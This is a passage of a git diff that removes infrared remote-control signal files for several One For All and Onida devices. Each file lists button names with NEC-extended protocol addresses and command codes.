a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir deleted file mode 100644 index b3ae5b8f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: Pip -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: SkipAhead -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 57 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 59 00 00 00 -# -name: TvVid -type: parsed -protocol: NECext -address: 07 00 00 00 -command: A3 00 00 00 -# -name: Swap -type: parsed -protocol: NECext -address: 07 00 00 00 -command: C3 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: F4 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir deleted file mode 100644 index 43beaa771..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 41 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 43 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 46 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 48 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 49 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 4A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 4C 00 00 00 -# -name: AUDIO/CC -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 4E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 4F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 50 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 54 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 55 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 56 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 56 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 57 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 57 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 58 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 59 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 5A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 5F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 60 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 61 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 62 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 63 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 64 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 65 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 68 00 00 00 -# -name: TV/VID -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 69 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 6A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 6F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 70 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 71 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir deleted file mode 100644 index 126ae9b00..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: text-hold -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: text-double -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: text-x -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: text-trans -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: text-off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: text-index -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir deleted file mode 100644 index a9ea65c46..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: yeloww -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: Av -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir deleted file mode 100644 index ca8b0c395..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir deleted file mode 100644 index 4c0510762..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir deleted file mode 100644 index 6fff1251f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: RIRIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: PROSCAN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: PAL/NTSC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: RWND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: FRAME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir deleted file mode 100644 index 672930491..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: sleep-timer -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: tv-video -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: chdn -type: parsed -protocol: NECext 